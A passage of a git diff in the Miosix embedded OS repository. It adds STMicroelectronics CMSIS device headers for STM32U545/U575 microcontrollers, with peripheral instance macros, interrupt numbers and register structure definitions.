|| ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/******************** UART Instances : LIN mode **********************/ +#define IS_UART_LIN_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S)) + +/******************** UART Instances : Wake-up from Stop mode **********************/ +#define IS_UART_WAKEUP_FROMSTOP_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/*********************** UART Instances : IRDA mode ***************************/ +#define IS_IRDA_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S)) + +/********************* USART Instances : Smard card mode ***********************/ +#define IS_SMARTCARD_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S)) + +/******************** LPUART Instance *****************************************/ +#define IS_LPUART_INSTANCE(INSTANCE) (((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/*********************** UART Instances : AUTONOMOUS mode ***************************/ +#define IS_UART_AUTONOMOUS_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/****************************** IWDG Instances ********************************/ +#define IS_IWDG_ALL_INSTANCE(INSTANCE) (((INSTANCE) == IWDG_NS) || ((INSTANCE) == IWDG_S)) + +/****************************** WWDG Instances ********************************/ +#define IS_WWDG_ALL_INSTANCE(INSTANCE) (((INSTANCE) == WWDG_NS) || ((INSTANCE) == WWDG_S)) + +/******************************* USB DRD FS HCD Instances *************************/ +#define IS_HCD_ALL_INSTANCE(INSTANCE) (((INSTANCE) == USB_DRD_FS_NS) || ((INSTANCE) == USB_DRD_FS_S)) + +/******************************* USB DRD FS PCD Instances *************************/ +#define IS_PCD_ALL_INSTANCE(INSTANCE) (((INSTANCE) == USB_DRD_FS_NS) || ((INSTANCE) == USB_DRD_FS_S)) + +/******************************* MDF/ADF Instances ****************************/ +#define IS_MDF_ALL_INSTANCE(INSTANCE) (((INSTANCE) == MDF1_Filter0_NS) || ((INSTANCE) == MDF1_Filter0_S) || \ + ((INSTANCE) == MDF1_Filter1_NS) || ((INSTANCE) == MDF1_Filter1_S) || \ + ((INSTANCE) == MDF1_Filter2_NS) || ((INSTANCE) == MDF1_Filter2_S) || \ + ((INSTANCE) == MDF1_Filter3_NS) || ((INSTANCE) == MDF1_Filter3_S) || \ + ((INSTANCE) == MDF1_Filter4_NS) || ((INSTANCE) == MDF1_Filter4_S) || \ + ((INSTANCE) == MDF1_Filter5_NS) || ((INSTANCE) == MDF1_Filter5_S) || \ + ((INSTANCE) == ADF1_Filter0_NS) || ((INSTANCE) == ADF1_Filter0_S)) + + +/** @} */ /* End of group STM32U5xx_Peripheral_Exported_macros */ + +/** @} */ /* End of group STM32U545xx */ + +/** @} */ /* End of group ST */ + +#ifdef __cplusplus +} +#endif + +#endif /* STM32U545xx_H */ + diff --git a/miosix/arch/CMSIS/Device/ST/STM32U5xx/Include/stm32u575xx.h b/miosix/arch/CMSIS/Device/ST/STM32U5xx/Include/stm32u575xx.h new file mode 100644 index 000000000..619bef757 --- /dev/null +++ b/miosix/arch/CMSIS/Device/ST/STM32U5xx/Include/stm32u575xx.h @@ -0,0 +1,24242 @@ +/** + ****************************************************************************** + * @file stm32u575xx.h + * @author MCD Application Team + * @brief CMSIS STM32U575xx Device Peripheral Access Layer Header File. + * + * This file contains: + * - Data structures and the address mapping for all peripherals + * - Peripheral's registers declarations and bits definition + * - Macros to access peripheral's registers hardware + * + ****************************************************************************** + * @attention + * + * Copyright (c) 2021 STMicroelectronics. + * All rights reserved. + * + * This software is licensed under terms that can be found in the LICENSE file + * in the root directory of this software component. + * If no LICENSE file comes with this software, it is provided AS-IS. + * + ****************************************************************************** + */ + +#ifndef STM32U575xx_H +#define STM32U575xx_H + +#ifdef __cplusplus +extern "C" { +#endif + +/** @addtogroup ST + * @{ + */ + + +/** @addtogroup STM32U575xx + * @{ + */ + + +/** @addtogroup Configuration_of_CMSIS + * @{ + */ + + +/* =========================================================================================================================== */ +/* ================ Interrupt Number Definition ================ */ +/* =========================================================================================================================== */ + +typedef enum +{ +/* ======================================= ARM Cortex-M33 Specific Interrupt Numbers ======================================= */ + Reset_IRQn = -15, /*!< -15 Reset Vector, invoked on Power up and warm reset */ + NonMaskableInt_IRQn = -14, /*!< -14 Non maskable Interrupt, cannot be stopped or preempted */ + HardFault_IRQn = -13, /*!< -13 Hard Fault, all classes of Fault */ + MemoryManagement_IRQn = -12, /*!< -12 Memory Management, MPU mismatch, including Access Violation + and No Match */ + BusFault_IRQn = -11, /*!< -11 Bus Fault, Pre-Fetch-, Memory Access Fault, other address/memory + related Fault */ + UsageFault_IRQn = -10, /*!< -10 Usage Fault, i.e. Undef Instruction, Illegal State Transition */ + SecureFault_IRQn = -9, /*!< -9 Secure Fault */ + SVCall_IRQn = -5, /*!< -5 System Service Call via SVC instruction */ + DebugMonitor_IRQn = -4, /*!< -4 Debug Monitor */ + PendSV_IRQn = -2, /*!< -2 Pendable request for system service */ + SysTick_IRQn = -1, /*!< -1 System Tick Timer */ + +/* =========================================== STM32U575xx Specific Interrupt Numbers ================================= */ + WWDG_IRQn = 0, /*!< Window WatchDog interrupt */ + PVD_PVM_IRQn = 1, /*!< PVD/PVM through EXTI Line detection Interrupt */ + RTC_IRQn = 2, /*!< RTC non-secure interrupt */ + RTC_S_IRQn = 3, /*!< RTC secure interrupt */ + TAMP_IRQn = 4, /*!< Tamper global interrupt */ + RAMCFG_IRQn = 5, /*!< RAMCFG global interrupt */ + FLASH_IRQn = 6, /*!< FLASH non-secure global interrupt */ + FLASH_S_IRQn = 7, /*!< FLASH secure global interrupt */ + GTZC_IRQn = 8, /*!< Global TrustZone Controller interrupt */ + RCC_IRQn = 9, /*!< RCC non secure global interrupt */ + RCC_S_IRQn = 10, /*!< RCC secure global interrupt */ + EXTI0_IRQn = 11, /*!< EXTI Line0 interrupt */ + EXTI1_IRQn = 12, /*!< EXTI Line1 interrupt */ + EXTI2_IRQn = 13, /*!< EXTI Line2 interrupt */ + EXTI3_IRQn = 14, /*!< EXTI Line3 interrupt */ + EXTI4_IRQn = 15, /*!< EXTI Line4 interrupt */ + EXTI5_IRQn = 16, /*!< EXTI Line5 interrupt */ + EXTI6_IRQn = 17, /*!< EXTI Line6 interrupt */ + EXTI7_IRQn = 18, /*!< EXTI Line7 interrupt */ + EXTI8_IRQn = 19, /*!< EXTI Line8 interrupt */ + EXTI9_IRQn = 20, /*!< EXTI Line9 interrupt */ + EXTI10_IRQn = 21, /*!< EXTI Line10 interrupt */ + EXTI11_IRQn = 22, /*!< EXTI Line11 interrupt */ + EXTI12_IRQn = 23, /*!< EXTI Line12 interrupt */ + EXTI13_IRQn = 24, /*!< EXTI Line13 interrupt */ + EXTI14_IRQn = 25, /*!< EXTI Line14 interrupt */ + EXTI15_IRQn = 26, /*!< EXTI Line15 interrupt */ + IWDG_IRQn = 27, /*!< IWDG global interrupt */ + GPDMA1_Channel0_IRQn = 29, /*!< GPDMA1 Channel 0 global interrupt */ + GPDMA1_Channel1_IRQn = 30, /*!< GPDMA1 Channel 1 global interrupt */ + GPDMA1_Channel2_IRQn = 31, /*!< GPDMA1 Channel 2 global interrupt */ + GPDMA1_Channel3_IRQn = 32, /*!< GPDMA1 Channel 3 global interrupt */ + GPDMA1_Channel4_IRQn = 33, /*!< GPDMA1 Channel 4 global interrupt */ + GPDMA1_Channel5_IRQn = 34, /*!< GPDMA1 Channel 5 global interrupt */ + GPDMA1_Channel6_IRQn = 35, /*!< GPDMA1 Channel 6 global interrupt */ + GPDMA1_Channel7_IRQn = 36, /*!< GPDMA1 Channel 7 global interrupt */ + ADC1_IRQn = 37, /*!< ADC1 global interrupt */ + DAC1_IRQn = 38, /*!< DAC1 global interrupt */ + FDCAN1_IT0_IRQn = 39, /*!< FDCAN1 interrupt 0 */ + FDCAN1_IT1_IRQn = 40, /*!< FDCAN1 interrupt 1 */ + TIM1_BRK_IRQn = 41, /*!< TIM1 Break interrupt */ + TIM1_UP_IRQn = 42, /*!< TIM1 Update interrupt */ + TIM1_TRG_COM_IRQn = 43, /*!< TIM1 Trigger and Commutation interrupt */ + TIM1_CC_IRQn = 44, /*!< TIM1 Capture Compare interrupt */ + TIM2_IRQn = 45, /*!< TIM2 global interrupt */ + TIM3_IRQn = 46, /*!< TIM3 global interrupt */ + TIM4_IRQn = 47, /*!< TIM4 global interrupt */ + TIM5_IRQn = 48, /*!< TIM5 global interrupt */ + TIM6_IRQn = 49, /*!< TIM6 global interrupt */ + TIM7_IRQn = 50, /*!< TIM7 global interrupt */ + TIM8_BRK_IRQn = 51, /*!< TIM8 Break interrupt */ + TIM8_UP_IRQn = 52, /*!< TIM8 Update interrupt */ + TIM8_TRG_COM_IRQn = 53, /*!< TIM8 Trigger and Commutation interrupt */ + TIM8_CC_IRQn = 54, /*!< TIM8 Capture Compare interrupt */ + I2C1_EV_IRQn = 55, /*!< I2C1 Event interrupt */ + I2C1_ER_IRQn = 56, /*!< I2C1 Error interrupt */ + I2C2_EV_IRQn = 57, /*!< I2C2 Event interrupt */ + I2C2_ER_IRQn = 58, /*!< I2C2 Error interrupt */ + SPI1_IRQn = 59, /*!< SPI1 global interrupt */ + SPI2_IRQn = 60, /*!< SPI2 global interrupt */ + USART1_IRQn = 61, /*!< USART1 global interrupt */ + USART2_IRQn = 62, /*!< USART2 global interrupt */ + USART3_IRQn = 63, /*!< USART3 global interrupt */ + UART4_IRQn = 64, /*!< UART4 global interrupt */ + UART5_IRQn = 65, /*!< UART5 global interrupt */ + LPUART1_IRQn = 66, /*!< LPUART1 global interrupt */ + LPTIM1_IRQn = 67, /*!< LPTIM1 global interrupt */ + LPTIM2_IRQn = 68, /*!< LPTIM2 global interrupt */ + TIM15_IRQn = 69, /*!< TIM15 global interrupt */ + TIM16_IRQn = 70, /*!< TIM16 global interrupt */ + TIM17_IRQn = 71, /*!< TIM17 global interrupt */ + COMP_IRQn = 72, /*!< COMP1 and COMP2 through EXTI Lines interrupts */ + OTG_FS_IRQn = 73, /*!< USB OTG FS global interrupt */ + CRS_IRQn = 74, /*!< CRS global interrupt */ + FMC_IRQn = 75, /*!< FSMC global interrupt */ + OCTOSPI1_IRQn = 76, /*!< OctoSPI1 global interrupt */ + PWR_S3WU_IRQn = 77, /*!< PWR wake up from Stop3 interrupt */ + SDMMC1_IRQn = 78, /*!< SDMMC1 global interrupt */ + SDMMC2_IRQn = 79, /*!< SDMMC2 global interrupt */ + GPDMA1_Channel8_IRQn = 80, /*!< GPDMA1 Channel 8 global interrupt */ + GPDMA1_Channel9_IRQn = 81, /*!< GPDMA1 Channel 9 global interrupt */ + GPDMA1_Channel10_IRQn = 82, /*!< GPDMA1 Channel 10 global interrupt */ + GPDMA1_Channel11_IRQn = 83, /*!< GPDMA1 Channel 11 global interrupt */ + GPDMA1_Channel12_IRQn = 84, /*!< GPDMA1 Channel 12 global interrupt */ + GPDMA1_Channel13_IRQn = 85, /*!< GPDMA1 Channel 13 global interrupt */ + GPDMA1_Channel14_IRQn = 86, /*!< GPDMA1 Channel 14 global interrupt */ + GPDMA1_Channel15_IRQn = 87, /*!< GPDMA1 Channel 15 global interrupt */ + I2C3_EV_IRQn = 88, /*!< I2C3 event interrupt */ + I2C3_ER_IRQn = 89, /*!< I2C3 error interrupt */ + SAI1_IRQn = 90, /*!< Serial Audio Interface 1 global interrupt */ + SAI2_IRQn = 91, /*!< Serial Audio Interface 2 global interrupt */ + TSC_IRQn = 92, /*!< Touch Sense Controller global interrupt */ + RNG_IRQn = 94, /*!< RNG global interrupt */ + FPU_IRQn = 95, /*!< FPU global interrupt */ + HASH_IRQn = 96, /*!< HASH global interrupt */ + LPTIM3_IRQn = 98, /*!< LPTIM3 global interrupt */ + SPI3_IRQn = 99, /*!< SPI3 global interrupt */ + I2C4_ER_IRQn = 100, /*!< I2C4 Error interrupt */ + I2C4_EV_IRQn = 101, /*!< I2C4 Event interrupt */ + MDF1_FLT0_IRQn = 102, /*!< MDF1 Filter 0 global interrupt */ + MDF1_FLT1_IRQn = 103, /*!< MDF1 Filter 1 global interrupt */ + MDF1_FLT2_IRQn = 104, /*!< MDF1 Filter 2 global interrupt */ + MDF1_FLT3_IRQn = 105, /*!< MDF1 Filter 3 global interrupt */ + UCPD1_IRQn = 106, /*!< UCPD1 global interrupt */ + ICACHE_IRQn = 107, /*!< Instruction cache global interrupt */ + LPTIM4_IRQn = 110, /*!< LPTIM4 global interrupt */ + DCACHE1_IRQn = 111, /*!< Data cache global interrupt */ + ADF1_IRQn = 112, /*!< ADF interrupt */ + ADC4_IRQn = 113, /*!< ADC4 (12bits) global interrupt */ + LPDMA1_Channel0_IRQn = 114, /*!< LPDMA1 SmartRun Channel 0 global interrupt */ + LPDMA1_Channel1_IRQn = 115, /*!< LPDMA1 SmartRun Channel 1 global interrupt */ + LPDMA1_Channel2_IRQn = 116, /*!< LPDMA1 SmartRun Channel 2 global interrupt */ + LPDMA1_Channel3_IRQn = 117, /*!< LPDMA1 SmartRun Channel 3 global interrupt */ + DMA2D_IRQn = 118, /*!< DMA2D global interrupt */ + DCMI_PSSI_IRQn = 119, /*!< DCMI/PSSI global interrupt */ + OCTOSPI2_IRQn = 120, /*!< OCTOSPI2 global interrupt */ + MDF1_FLT4_IRQn = 121, /*!< MDF1 Filter 4 global interrupt */ + MDF1_FLT5_IRQn = 122, /*!< MDF1 Filter 5 global interrupt */ + CORDIC_IRQn = 123, /*!< CORDIC global interrupt */ + FMAC_IRQn = 124, /*!< FMAC global interrupt */ + LSECSSD_IRQn = 125, /*!< LSECSSD and MSI_PLL_UNLOCK global interrupts */ +} IRQn_Type; + +/* =========================================================================================================================== */ +/* ================ Processor and Core Peripheral Section ================ */ +/* =========================================================================================================================== */ + +/* ------- Start of section using anonymous unions and disabling warnings ------- */ +#if defined (__CC_ARM) + #pragma push + #pragma anon_unions +#elif defined (__ICCARM__) + #pragma language=extended +#elif defined(__ARMCC_VERSION) && (__ARMCC_VERSION >= 6010050) + #pragma clang diagnostic push + #pragma clang diagnostic ignored "-Wc11-extensions" + #pragma clang diagnostic ignored "-Wreserved-id-macro" +#elif defined (__GNUC__) + /* anonymous unions are enabled by default */ +#elif defined (__TMS470__) + /* anonymous unions are enabled by default */ +#elif defined (__TASKING__) + #pragma warning 586 +#elif defined (__CSMC__) + /* anonymous unions are enabled by default */ +#else + #warning Not supported compiler type +#endif + +/* -------- Configuration of the Cortex-M33 Processor and Core Peripherals ------ */ +#define __CM33_REV 0x0000U /* Core revision r0p1 */ +#define __SAUREGION_PRESENT 1U /* SAU regions present */ +#define __MPU_PRESENT 1U /* MPU present */ +#define __VTOR_PRESENT 1U /* VTOR present */ +#define __NVIC_PRIO_BITS 4U /* Number of Bits used for Priority Levels */ +#define __Vendor_SysTickConfig 0U /* Set to 1 if different SysTick Config is used */ +#define __FPU_PRESENT 1U /* FPU present */ +#define __DSP_PRESENT 1U /* DSP extension present */ + +/** @} */ /* End of group Configuration_of_CMSIS */ + +#include /*!< ARM Cortex-M33 processor and core peripherals */ +#include "system_stm32u5xx.h" /*!< STM32U5xx System */ + + +/* =========================================================================================================================== */ +/* ================ Device Specific Peripheral Section ================ */ +/* =========================================================================================================================== */ + + +/** @addtogroup STM32U5xx_peripherals + * @{ + */ + +/** + * @brief CRC calculation unit + */ +typedef struct +{ + __IO uint32_t DR; /*!< CRC Data register, Address offset: 0x00 */ + __IO uint32_t IDR; /*!< CRC Independent data register, Address offset: 0x04 */ + __IO uint32_t CR; /*!< CRC Control register, Address offset: 0x08 */ + uint32_t RESERVED2; /*!< Reserved, 0x0C */ + __IO uint32_t INIT; /*!< Initial CRC value register, Address offset: 0x10 */ + __IO uint32_t POL; /*!< CRC polynomial register, Address offset: 0x14 */ +} CRC_TypeDef; + +/** + * @brief Inter-integrated Circuit Interface + */ +typedef struct +{ + __IO uint32_t CR1; /*!< I2C Control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< I2C Control register 2, Address offset: 0x04 */ + __IO uint32_t OAR1; /*!< I2C Own address 1 register, Address offset: 0x08 */ + __IO uint32_t OAR2; /*!< I2C Own address 2 register, Address offset: 0x0C */ + __IO uint32_t TIMINGR; /*!< I2C Timing register, Address offset: 0x10 */ + __IO uint32_t TIMEOUTR; /*!< I2C Timeout register, Address offset: 0x14 */ + __IO uint32_t ISR; /*!< I2C Interrupt and status register, Address offset: 0x18 */ + __IO uint32_t ICR; /*!< I2C Interrupt clear register, Address offset: 0x1C */ + __IO uint32_t PECR; /*!< I2C PEC register, Address offset: 0x20 */ + __IO uint32_t RXDR; /*!< I2C Receive data register, Address offset: 0x24 */ + __IO uint32_t TXDR; /*!< I2C Transmit data register, Address offset: 0x28 */ + __IO uint32_t AUTOCR; +} I2C_TypeDef; + +/** + * @brief DAC + */ +typedef struct +{ + __IO uint32_t CR; /*!< DAC control register, Address offset: 0x00 */ + __IO uint32_t SWTRIGR; /*!< DAC software trigger register, Address offset: 0x04 */ + __IO uint32_t DHR12R1; /*!< DAC channel1 12-bit right-aligned data holding register, Address offset: 0x08 */ + __IO uint32_t DHR12L1; /*!< DAC channel1 12-bit left aligned data holding register, Address offset: 0x0C */ + __IO uint32_t DHR8R1; /*!< DAC channel1 8-bit right aligned data holding register, Address offset: 0x10 */ + __IO uint32_t DHR12R2; /*!< DAC channel2 12-bit right aligned data holding register, Address offset: 0x14 */ + __IO uint32_t DHR12L2; /*!< DAC channel2 12-bit left aligned data holding register, Address offset: 0x18 */ + __IO uint32_t DHR8R2; /*!< DAC channel2 8-bit right-aligned data holding register, Address offset: 0x1C */ + __IO uint32_t DHR12RD; /*!< Dual DAC 12-bit right-aligned data holding register, Address offset: 0x20 */ + __IO uint32_t DHR12LD; /*!< DUAL DAC 12-bit left aligned data holding register, Address offset: 0x24 */ + __IO uint32_t DHR8RD; /*!< DUAL DAC 8-bit right aligned data holding register, Address offset: 0x28 */ + __IO uint32_t DOR1; /*!< DAC channel1 data output register, Address offset: 0x2C */ + __IO uint32_t DOR2; /*!< DAC channel2 data output register, Address offset: 0x30 */ + __IO uint32_t SR; /*!< DAC status register, Address offset: 0x34 */ + __IO uint32_t CCR; /*!< DAC calibration control register, Address offset: 0x38 */ + __IO uint32_t MCR; /*!< DAC mode control register, Address offset: 0x3C */ + __IO uint32_t SHSR1; /*!< DAC Sample and Hold sample time register 1, Address offset: 0x40 */ + __IO uint32_t SHSR2; /*!< DAC Sample and Hold sample time register 2, Address offset: 0x44 */ + __IO uint32_t SHHR; /*!< DAC Sample and Hold hold time register, Address offset: 0x48 */ + __IO uint32_t SHRR; /*!< DAC Sample and Hold refresh time register, Address offset: 0x4C */ + __IO uint32_t RESERVED[1]; + __IO uint32_t AUTOCR; /*!< DAC Autonomous mode register, Address offset: 0x54 */ +} DAC_TypeDef; + +/** + * @brief Clock Recovery System + */ +typedef struct +{ +__IO uint32_t CR; /*!< CRS ccontrol register, Address offset: 0x00 */ +__IO uint32_t CFGR; /*!< CRS configuration register, Address offset: 0x04 */ +__IO uint32_t ISR; /*!< CRS interrupt and status register, Address offset: 0x08 */ +__IO uint32_t ICR; /*!< CRS interrupt flag clear register, Address offset: 0x0C */ +} CRS_TypeDef; + +/** + * @brief HASH + */ +typedef struct +{ + __IO uint32_t CR; /*!< HASH control register, Address offset: 0x00 */ + __IO uint32_t DIN; /*!< HASH data input register, Address offset: 0x04 */ + __IO uint32_t STR; /*!< HASH start register, Address offset: 0x08 */ + __IO uint32_t HR[5]; /*!< HASH digest registers, Address offset: 0x0C-0x1C */ + __IO uint32_t IMR; /*!< HASH interrupt enable register, Address offset: 0x20 */ + __IO uint32_t SR; /*!< HASH status register, Address offset: 0x24 */ + uint32_t RESERVED[52]; /*!< Reserved, 0x28-0xF4 */ + __IO uint32_t CSR[54]; /*!< HASH context swap registers, Address offset: 0x0F8-0x1CC */ +} HASH_TypeDef; + +/** + * @brief HASH_DIGEST + */ +typedef struct +{ + __IO uint32_t HR[8]; /*!< HASH digest registers, Address offset: 0x310-0x32C */ +} HASH_DIGEST_TypeDef; + +/** + * @brief RNG + */ +typedef struct +{ + __IO uint32_t CR; /*!< RNG control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< RNG status register, Address offset: 0x04 */ + __IO uint32_t DR; /*!< RNG data register, Address offset: 0x08 */ + __IO uint32_t NSCR; /*!< RNG noise source control register , Address offset: 0x0C */ + __IO uint32_t HTCR; /*!< RNG health test configuration register, Address offset: 0x10 */ +} RNG_TypeDef; + +/** + * @brief Debug MCU + */ +typedef struct +{ + __IO uint32_t IDCODE; /*!< MCU device ID code, Address offset: 0x00 */ + __IO uint32_t CR; /*!< Debug MCU configuration register, Address offset: 0x04 */ + __IO uint32_t APB1FZR1; /*!< Debug MCU APB1 freeze register 1, Address offset: 0x08 */ + __IO uint32_t APB1FZR2; /*!< Debug MCU APB1 freeze register 2, Address offset: 0x0C */ + __IO uint32_t APB2FZR; /*!< Debug MCU APB2 freeze register, Address offset: 0x10 */ + __IO uint32_t APB3FZR; /*!< Debug MCU APB3 freeze register, Address offset: 0x14 */ + uint32_t RESERVED1[2];/*!< Reserved, 0x18 - 0x1C */ + __IO uint32_t AHB1FZR; /*!< Debug MCU AHB1 freeze register, Address offset: 0x20 */ + uint32_t RESERVED2; /*!< Reserved, 0x24 */ + __IO uint32_t AHB3FZR; /*!< Debug MCU AHB3 freeze register, Address offset: 0x28 */ +} DBGMCU_TypeDef; + +/** + * @brief DCMI + */ +typedef struct +{ + __IO uint32_t CR; /*!< DCMI control register 1, Address offset: 0x00 */ + __IO uint32_t SR; /*!< DCMI status register, Address offset: 0x04 */ + __IO uint32_t RISR; /*!< DCMI raw interrupt status register, Address offset: 0x08 */ + __IO uint32_t IER; /*!< DCMI interrupt enable register, Address offset: 0x0C */ + __IO uint32_t MISR; /*!< DCMI masked interrupt status register, Address offset: 0x10 */ + __IO uint32_t ICR; /*!< DCMI interrupt clear register, Address offset: 0x14 */ + __IO uint32_t ESCR; /*!< DCMI embedded synchronization code register, Address offset: 0x18 */ + __IO uint32_t ESUR; /*!< DCMI embedded synchronization unmask register, Address offset: 0x1C */ + __IO uint32_t CWSTRTR; /*!< DCMI crop window start, Address offset: 0x20 */ + __IO uint32_t CWSIZER; /*!< DCMI crop window size, Address offset: 0x24 */ + __IO uint32_t DR; /*!< DCMI data register, Address offset: 0x28 */ +} DCMI_TypeDef; + +/** + * @brief DMA Controller + */ +typedef struct +{ + __IO uint32_t SECCFGR; /*!< DMA secure configuration register, Address offset: 0x00 */ + __IO uint32_t PRIVCFGR; /*!< DMA privileged configuration register, Address offset: 0x04 */ + __IO uint32_t RCFGLOCKR; /*!< DMA lock configuration register, Address offset: 0x08 */ + __IO uint32_t MISR; /*!< DMA non secure masked interrupt status register, Address offset: 0x0C */ + __IO uint32_t SMISR; /*!< DMA secure masked interrupt status register, Address offset: 0x10 */ +} DMA_TypeDef; + +typedef struct +{ + __IO uint32_t CLBAR; /*!< DMA channel x linked-list base address register, Address offset: 0x50 + (x * 0x80) */ + uint32_t RESERVED1[2]; /*!< Reserved 1, Address offset: 0x54 -- 0x58 */ + __IO uint32_t CFCR; /*!< DMA channel x flag clear register, Address offset: 0x5C + (x * 0x80) */ + __IO uint32_t CSR; /*!< DMA channel x flag status register, Address offset: 0x60 + (x * 0x80) */ + __IO uint32_t CCR; /*!< DMA channel x control register, Address offset: 0x64 + (x * 0x80) */ + uint32_t RESERVED2[10];/*!< Reserved 2, Address offset: 0x68 -- 0x8C */ + __IO uint32_t CTR1; /*!< DMA channel x transfer register 1, Address offset: 0x90 + (x * 0x80) */ + __IO uint32_t CTR2; /*!< DMA channel x transfer register 2, Address offset: 0x94 + (x * 0x80) */ + __IO uint32_t CBR1; /*!< DMA channel x block register 1, Address offset: 0x98 + (x * 0x80) */ + __IO uint32_t CSAR; /*!< DMA channel x source address register, Address offset: 0x9C + (x * 0x80) */ + __IO uint32_t CDAR; /*!< DMA channel x destination address register, Address offset: 0xA0 + (x * 0x80) */ + __IO uint32_t CTR3; /*!< DMA channel x transfer register 3, Address offset: 0xA4 + (x * 0x80) */ + __IO uint32_t CBR2; /*!< DMA channel x block register 2, Address offset: 0xA8 + (x * 0x80) */ + uint32_t RESERVED3[8]; /*!< Reserved 3, Address offset: 0xAC -- 0xC8 */ + __IO uint32_t CLLR; /*!< DMA channel x linked-list address register, Address offset: 0xCC + (x * 0x80) */ +} DMA_Channel_TypeDef; + +/** + * @brief DMA2D Controller + */ +typedef struct +{ + __IO uint32_t CR; /*!< DMA2D Control Register, Address offset: 0x00 */ + __IO uint32_t ISR; /*!< DMA2D Interrupt Status Register, Address offset: 0x04 */ + __IO uint32_t IFCR; /*!< DMA2D Interrupt Flag Clear Register, Address offset: 0x08 */ + __IO uint32_t FGMAR; /*!< DMA2D Foreground Memory Address Register, Address offset: 0x0C */ + __IO uint32_t FGOR; /*!< DMA2D Foreground Offset Register, Address offset: 0x10 */ + __IO uint32_t BGMAR; /*!< DMA2D Background Memory Address Register, Address offset: 0x14 */ + __IO uint32_t BGOR; /*!< DMA2D Background Offset Register, Address offset: 0x18 */ + __IO uint32_t FGPFCCR; /*!< DMA2D Foreground PFC Control Register, Address offset: 0x1C */ + __IO uint32_t FGCOLR; /*!< DMA2D Foreground Color Register, Address offset: 0x20 */ + __IO uint32_t BGPFCCR; /*!< DMA2D Background PFC Control Register, Address offset: 0x24 */ + __IO uint32_t BGCOLR; /*!< DMA2D Background Color Register, Address offset: 0x28 */ + __IO uint32_t FGCMAR; /*!< DMA2D Foreground CLUT Memory Address Register, Address offset: 0x2C */ + __IO uint32_t BGCMAR; /*!< DMA2D Background CLUT Memory Address Register, Address offset: 0x30 */ + __IO uint32_t OPFCCR; /*!< DMA2D Output PFC Control Register, Address offset: 0x34 */ + __IO uint32_t OCOLR; /*!< DMA2D Output Color Register, Address offset: 0x38 */ + __IO uint32_t OMAR; /*!< DMA2D Output Memory Address Register, Address offset: 0x3C */ + __IO uint32_t OOR; /*!< DMA2D Output Offset Register, Address offset: 0x40 */ + __IO uint32_t NLR; /*!< DMA2D Number of Line Register, Address offset: 0x44 */ + __IO uint32_t LWR; /*!< DMA2D Line Watermark Register, Address offset: 0x48 */ + __IO uint32_t AMTCR; /*!< DMA2D AHB Master Timer Configuration Register, Address offset: 0x4C */ + uint32_t RESERVED[236]; /*!< Reserved, 0x50-0x3FC */ + __IO uint32_t FGCLUT[256]; /*!< DMA2D Foreground CLUT, Address offset:400-7FC */ + __IO uint32_t BGCLUT[256]; /*!< DMA2D Background CLUT, Address offset:800-BFC */ +} DMA2D_TypeDef; + +/** + * @brief Asynch Interrupt/Event Controller (EXTI) + */ +typedef struct +{ + __IO uint32_t RTSR1; /*!< EXTI Rising Trigger Selection Register 1, Address offset: 0x00 */ + __IO uint32_t FTSR1; /*!< EXTI Falling Trigger Selection Register 1, Address offset: 0x04 */ + __IO uint32_t SWIER1; /*!< EXTI Software Interrupt event Register 1, Address offset: 0x08 */ + __IO uint32_t RPR1; /*!< EXTI Rising Pending Register 1, Address offset: 0x0C */ + __IO uint32_t FPR1; /*!< EXTI Falling Pending Register 1, Address offset: 0x10 */ + __IO uint32_t SECCFGR1; /*!< EXTI Security Configuration Register 1, Address offset: 0x14 */ + __IO uint32_t PRIVCFGR1; /*!< EXTI Privilege Configuration Register 1, Address offset: 0x18 */ + uint32_t RESERVED1[17]; /*!< Reserved 1, 0x1C -- 0x5C */ + __IO uint32_t EXTICR[4]; /*!< EXIT External Interrupt Configuration Register, 0x60 -- 0x6C */ + __IO uint32_t LOCKR; /*!< EXTI Lock Register, Address offset: 0x70 */ + uint32_t RESERVED2[3]; /*!< Reserved 2, 0x74 -- 0x7C */ + __IO uint32_t IMR1; /*!< EXTI Interrupt Mask Register 1, Address offset: 0x80 */ + __IO uint32_t EMR1; /*!< EXTI Event Mask Register 1, Address offset: 0x84 */ +} EXTI_TypeDef; + +/** + * @brief FLASH Registers + */ +typedef struct +{ + __IO uint32_t ACR; /*!< FLASH access control register, Address offset: 0x00 */ + uint32_t RESERVED1; /*!< Reserved1, Address offset: 0x04 */ + __IO uint32_t NSKEYR; /*!< FLASH non-secure key register, Address offset: 0x08 */ + __IO uint32_t SECKEYR; /*!< FLASH secure key register, Address offset: 0x0C */ + __IO uint32_t OPTKEYR; /*!< FLASH option key register, Address offset: 0x10 */ + __IO uint32_t RESERVED2; /*!< Reserved2, Address offset: 0x14 */ + __IO uint32_t 